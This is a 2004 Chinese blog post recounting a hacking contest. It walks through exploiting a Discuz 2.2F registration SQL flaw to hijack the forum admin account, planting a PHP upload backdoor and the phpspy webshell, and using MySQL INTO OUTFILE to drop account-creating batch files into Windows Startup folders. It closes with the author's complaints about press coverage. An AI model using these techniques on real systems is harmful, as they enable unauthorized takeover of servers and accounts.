四川成都攻防大賽技術細節與個人評論

四川成都攻防大賽技術細節與個人評論
本文作者:angel
文章性質:原創
發佈日期:2004-11-5
  估計大家都知道這次成都的“天地杯”網絡安全攻防大賽的消息了,既然和網絡安全有關,估計不少朋友都想知道其中的技術細節,我就說說其中技術細節。至於和我一起參加比賽的人,都是圈內比較出名的人物,機會、優勢幾乎都在我們這邊了,其他我就暫時不說了。圈內也有不少人知道是我們幾個參加了,所以我覺得寫出來也無所謂。先說說技術的,完了再說說我個人的看法。

首先說說這次的攻擊環境:

Web 服務器( 172.16.0.125 )
系統: Windows Server 2003 / Apache 1.3.31
打開端口:80、3389
Web 程序:Discuz 2.2F

MySQL 服務器( 172.16.0.119 )
系統: Windows Server 2003 / Mysql 4.0.21
打開端口: 3306、3389

注意:比賽規定是不允許上外網,所有工具都是自己帶的。且剛開始數據庫服務器 IP 是未知的,我們的目標是拿到數據庫上 D 盤的相應文件。

  儘管我們幾個人討論了幾個方案和分工,但是由於實際情況,我們還是做了一些改變,我幾乎是全權負責攻擊,其他人負責干擾對手、嗅探、搭建各種服務共我們交流、交換工具,由於不準上外網,我們下載了 QQ 企業版交流,在其中一個人的服務器上搭建了 WEB 服務器,提供我們自己帶來一些工具,於是我們爲了進攻的進度得以保障,我們每個人都修改了默認管理密碼,禁用其他所有系統用戶,停掉 N 多默認的服務,禁止空連接,做了本地安全策略,修改了 IP 地址的 C 段使我們和其他人不在同一個網段,配置好了,也差不多開始了。

  經過了安全專家的精心配置,所以我想直接從系統入手可能性還是比較小,儘管如此,還是分配了兩個人用掃描器對 Web 服務器進行掃描並生成報告,另外的人嗅探抓到了不少系統的密碼等敏感信息,我就不說其他人了,由於我負責全部的攻擊,我還是把過程寫出來。

  我知道 Discuz 2.2F 有兩個致命漏洞,但是官方也發佈了更新版本,不知道這裏存在不,不管怎麼說,獲得 webshell 是最基本的,不然一切都不可能,恰好 Discuz 2.2F 給我們提供了條件,訪問 http://172.16.0.125/forumdata/illegallog.php ,返回“ Access Denied ”,漏洞不存在,換一個,這個 2.2F 的早期版本可以註冊相同的 ID ,不過對於繁體的論壇的中文名註冊會變亂碼,我只測試了英文名的,不管,先寫一個表單:

<FORM action="http://172.16.0.125/register.php?emailadd=and uid=100000&doublee=1" method="post" target="_blank">
用戶名 :<INPUT name=username value="admin"><br>
密碼:<INPUT name=password type=text value="123456"><br>
確認密碼:<INPUT name=password2 type=text value="123456"><br>
E-mail :<INPUT name=email value="[email protected]"><br>
<INPUT type=submit value= 註冊 name=regsubmit>
</FORM>


  這個漏洞不是我發現的,但是我自己分析過,在我們的內部論壇有我的分析報告,現在公佈出來。先說說這個漏洞的利用和存在的理由。

  register.php 的代碼中有如下代碼:

$email = trim($email);
if(!$doublee && strstr($email, '@')) {
  $emailadd = "OR email='$email'";
}


  這裏是說如果不存在 $doublee 這個變量,並且判斷郵件地址格式正確,就指定 $emailadd 這個變量爲 "OR email='$email'" ,爲後面的 SQL 語句做準備。往下有一段代碼如下:

$query = $db->query("SELECT COUNT(*) FROM $table_members WHERE username='$username' $emailadd ");
if($db->result($query, 0)) {
  showmessage('profile_account_duplicate');
}


  默認 $emailadd = "OR email='$email'" 是滿足的,所以上面的 SQL 語句就變成判斷用戶名和郵箱,有任意一個相同,就提示“該用戶名或 Email 地址已經被註冊了,請返回重新填寫。”

  利用的方法是給 $doublee 賦值,然後就可以饒過 $emailadd = "OR email='$email'" 這句,然後再自己構造 $emailadd 這個變量,這個就是我在本地表單的 action 構造的原因。

<FORM action="http://172.16.0.125/register.php? emailadd=and uid=100000&doublee=1" method="post">


  然後這個語句到了上面的 SQL 語句那裏,就變成:

SELECT COUNT(*) FROM $table_members WHERE username='$username' and uid=100000


  既然是同時用用戶名和用戶 ID 判斷,那麼這個肯定是不成立的了,就可以順利跳過

if($db->result($query, 0)) {
  showmessage('profile_account_duplicate');
}


  直接到達這裏插入記錄:

$db->query("INSERT INTO $table_members (........) VALUES (........)");


  也就註冊了相同的用戶名。然後再看看 memcp.php ,看到更新用戶資料的那裏, SQL 語句居然是這樣。

UPDATE $table_members SET ...... WHERE username='$discuz_user'


  直接更新所有用戶名爲 XX 的資料。呵呵,就達到了修改管理員的密碼的目的。呵呵, DZ 論壇沒有用 id 來判斷更新是不嚴謹的。沒有考慮到唯一性……

  我順利提升了自己論壇用戶的權限,能進入後臺以後,我們可以做的事情就多了,插入記錄,導出文件,就可以寫文件在硬盤了,由於不知道 Web 目錄路徑,所以不能用 select….into outfile 導出文件,而且此時數據庫與 WEB 服務器是分開的,即使導文件也是導出在 MYSQL 服務器上。不過還是有辦法,我馬上在“數據庫升級那裏”執行:

INSERT INTO `cdb_forumlinks` (`id`, `displayorder`, `name`, `url`, `note`, `logo`)
VALUES ('', '0', '', '', '<?copy($_FILES[MyFile][tmp_name],$_FILES[MyFile][name]);?>', '');


  黑體部分是我寫的後門代碼,然後選擇數據庫備份最小備份,把擴展名改成 .php ,備份後我們就可以上傳文件到 forumdata 目錄了,可能有不少新手會問,我怎麼這麼瞭解?因爲我以前用過 Discuz 論壇,研究過這個論壇,所以對這個論壇還是十分熟悉的,如果有誰不懂可以直接搭建環境來測試。

  然後本地再寫一個表單用於上傳文件:

<form ENCTYPE="multipart/form-data" ACTION="http://172.16.0.125/forumdata/upfile.php" METHOD="POST">
<input NAME="MyFile" TYPE="file">
<input VALUE=" 提交 " TYPE="submit">
</form>


  我們上傳了一個 phpspy 上去,上去後,我要做的事就只有一件,就是把 register.php 文件的漏洞給補上,直接把

$email = trim($email);
if(!$doublee && strstr($email, '@')) {
  $emailadd = "OR email='$email'";
}


  改爲:

$emailadd = "OR email='$email'";


  斷絕其他對手的後路,我們再多傳幾個 phpspy ,讓我們的隊員慢慢玩,查看 config.php 文件,看到了 MySQL 服務器地址( 172.16.0.119 )和 root 用戶的密碼,原來密碼是 fuck_Mysql ,用這個密碼試了試 MySQL 服務器的管理員,失敗。還有 phpmyadmin 的地址,原來是 php32 目錄。查看了一下 php 配置,配置還不錯,挺仔細的,可惜我的 phpspy 還是可以利用 webshell 功能成功的添加了系統帳號並提升到管理員權限,成功登陸 3389 ,注意,由於 Windows Server 2003 的安全機制,不是 Administrators 組的用戶是不能登陸 3389 的,查看了一些基本的配置後,看到 EffeTech HTTP Sniffer ,原來劍客一直在注意我呢,哈哈,在桌面留個文件和他打個招呼,表示一下晚輩對前輩的尊重。

  然後繼續查看,這個 Web 服務器的機器名是 SQL!!?? 鬱悶,難道 MySQL 服務器是 WEB ?大膽這樣猜想,結果沒錯。以前不記得哪個鳥人說過 MySQL 功能連 ACCESS 都比不了,這次的功勞最大就是 MySQL 了,不然真的不能拿到我們的文件了。即使能用同樣的辦法傳東西到 119 服務器,也沒有辦法執行,我們只有採用被動式的攻擊方法,寫文件到管理員的啓動組,因爲以前我們試過,只能寫一行進去,所以如果我們添加用戶並提升權限要啓動兩次,僅僅重新啓動還不行,還要管理員登陸才行。

  也只有這條路了,說做就做,還是在論壇後臺的數據庫升級那裏執行,其實在 phpmyadmin 或者 phpspy 都可以執行 SQL 語句,我懶得開其他兩個了。

CREATE TABLE shell ( shell TEXT NOT NULL );# 建立 shell 表和一個文本型的 shell 字段

INSERT INTO shell ( shell ) VALUES ('net user small_a 4ngel /add
');# 注意 /add 後面有回車,但是卻不能繼續再加一行,加了會連在一起。既然能回車卻不能加新行,奇怪。哪位大哥可以解釋一下?

SELECT * FROM shell into outfile 'C:/Documents and Settings/Administrator/ 「開始」菜單 /程序/啓動/add.bat';# 記得給“ / ”轉義

SELECT * FROM shell into outfile 'C:/Documents and Settings/All Users/ 「開始」菜單 /程序/啓動/add.bat';# 多添加幾個地方。

SELECT * FROM shell into outfile 'C:/Documents and Settings/Administrator.WEB/ 「開始」菜單 /程序/啓動/add.bat';# 真的存在這個目錄,說明之前我們沒有猜錯這個機器的名字就是 WEB ,真是夠精的,把機器名和相應的服務器互換。


  然後我就修改論壇的 config.php 文件的 IP 地址,就對管理員說,論壇的數據庫連接不上了,你給重新啓動一下,很快,我們用 3389 登陸的時候,就發現提示不允許交互,看來用戶是添加了的。只是由於權限不夠,不能登陸。再來一次,清空 shell 數據表以後,再執行:

INSERT INTO shell ( shell ) VALUES ('net localgrorp administrators small_a /add
');

SELECT * FROM shell into outfile 'C:/Documents and Settings/Administrator/ 「開始」菜單 /程序/啓動/up.bat';

SELECT * FROM shell into outfile 'C:/Documents and Settings/All Users/ 「開始」菜單 /程序/啓動/up.bat';

SELECT * FROM shell into outfile 'C:/Documents and Settings/Administrator.WEB/ 「開始」菜單 /程序/啓動/up.bat';


  再用老辦法叫管理員重新啓動,結果劍客發覺了我們的企圖,叫管理員重新登陸後不要登陸,我靠,我們也不是吃素的對吧?說論壇不能訪問叫我們怎麼搞啊?哈哈,服務器管理員還是老老實實登陸,等啊等啊,我們終於可以用我們自己添加的用戶登陸了,看到了 D 盤下面的三個冠、亞、季軍的文件,我們一起拿下吧。剛準備拿,結果 119 服務器的 3389 被我們的對手 D 了,而且還僞造 IP ,這是我們小組的其他隊員截獲的數據顯示的。他們並不是也拿下了 WEB 服務器,而是他們有人跑過來偷看我們的屏幕得知的地址,強烈鄙視這種行爲, D 吧 D 吧,不就是 D3389 端口嘛,反正我知道了文件名,現在勝利也離我們不遠了。就在快 1 個小時也就是快 11 點的時候,我從容地打開 phpmyadmin ,在 SQL 裏執行:

SELECT load_file('d:/金牌專家.txt')# 暈!這個居然顯示空!權限不夠,繼續。

SELECT load_file('d:/銀牌專家.txt')# 顯示“祝賀,你已經是銀牌專家了!”

SELECT load_file('d:/銅牌專家.txt')# 顯示“不錯不錯,你已經是銅牌專家了!”


  就這樣,其實在 11 點以前我們就拿到了亞軍和季軍,但是由於對手無恥的偷看行爲,導致我們被迫斷下 119 服務器的終端。他們一直D ,強烈鄙視這種偷窺行爲。劍客也修改了 MYSQL 服務器的 IP ,但沒有修正論壇的 IP 信息,我還是無法知道地址,趁吃飯的時候,其中一個隊員就用自己寫的端口掃描器掃描整個 C 段開了 3306 的主機,結果找到一臺,目標就是他,由於之前服務器的 3389 被 D 掛了,我們都是第一次碰到這種情況,主機沒掛,服務掛了。結果一直等到 1 點多,劍客才重新啓動。我們才順利的修改了“d:/金牌專家.txt ”這個文件的權限,看到了文件的內容,就順利拿到了 3 個文件。

  整個過程也就完了,技術含量不算高。我覺得重要的是思路和系統的一些常識,特別是 Windows server 2003 和 Apache 這種奇怪的搭配……

個人評論

  首先對某些媒體的報道,我覺得有必要澄清一下,四川的《華西都市報》(原文各大新聞網有轉載)報道有人控制了網吧內的 100 臺電腦,完全是炒作,真相是那人用“網絡執法官”那類工具進行 ARP 欺騙,導致外邊的大量電腦無法上網,人家在打怪升級呢,怎麼能不暴動?

  其次還是這篇報道說的“比賽於 10:00 開始,到什麼時候結束,誰也不知道,因爲今天前來參賽的全是高手,若雙方“武功”都到了爐火純青的地步,往往對戰數日,仍是難分高下。”完全屬於炒作!

  比賽當天根本就沒有什麼高手,還有人用流光、自動攻擊機、冰河這種老古董來玩,實在沒辦法了就登陸 3389 手工試空口令,本來收到消息 cnhonker 的人會來,誰知道影子都不見一個,據我們掌握的資料,cnhonker 在四川根本沒有核心成員。讓我們失望而終。

  最令我們氣憤的是還是這篇報道,說“西南民族大學的馬某在比賽結束後告訴記者,他和隊友在昨日凌晨 3 點才休息,而且專門爲此次比賽而攻擊了一家類似於此次比賽服務器的網站,而且成功得手,沒有想到,在比賽中卻“ 鎩羽而歸 ”,他坦言,對方 6 名成員分工詳細,佔了不少便宜,但是最終失利的原因則在於他們準備不充分,而且比賽的時候動作慢了一拍。”

  完完全全吹牛、放屁!這個學校居然出這種人品敗壞的學生,現在 WEB 服務器和數據庫服務器分開的主機很多,但是和 mysql 分開的卻很少,而且由於 MYSQL 和 MSSQL 的差異也導致攻擊方法不同,如果真如報道所說,成功攻擊了類似於此次服務器的網站,試問該學生如何知道此次比賽的網絡環境??

  更可恥的是居然說比我們慢半拍!我們從開始到結束,一直有人在終端上觀察,除了我們,沒有任何人登陸這兩臺服務器的 3389,也沒有添加任何系統用戶和上傳任何文件,根本就是除了我們隊員 6 人,其他選手都被服務器完全拒之門外,毫無進展,何來慢半拍?技術不行就是不行,還好意思心口開河?自己學校的網站服務器被放了後門都不知道。我們全體小組成員強烈鄙視這種厚顏無恥的參賽選手!也希望以後再有類似比賽,希望該報社派稍微懂電腦的記者前往。

  還有些人說由於帶錯工具,所以失敗了,我想說:工具只是武器,技術纔是靈魂。技術和工具是沒有直接關係的。

  此次比賽後,有不少人稱我們爲“第四代黑客”,我認爲也是不合適的,電子科技大學信息安全所所長範明鈺教授說:“今天參加比賽的黑客被稱爲‘第四代黑客',因爲他們所用的工具大多數都是在前幾代黑客的研究基礎上設計的。當然,也有不少人‘內功'深厚,可以自己編寫攻擊工具的基礎程序,但並沒有在此次比賽中過多使用。”

  我想說的是:此次比賽,我們比賽過程中用到的 phpspy 是我本人獨立開發的,端口掃描器也是其中一個隊員自己寫出來的,我們的工具都是自己寫的,怎麼說是用前幾代黑客的呢?說我們是第四代黑客更是不敢當!參加這次比賽是挺鬱悶的啊。

相關報道

http://www.cdsb.com/GB/2004/11/1/276312.html
http://it.sohu.com/20041101/n222780207.shtml
http://www.cnhubei.com/200410/ca598232.htm
http://www.jiangmin.com/exec/news_sys/news/jiangmin/networksafe/netsafty/200411194933.htm
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章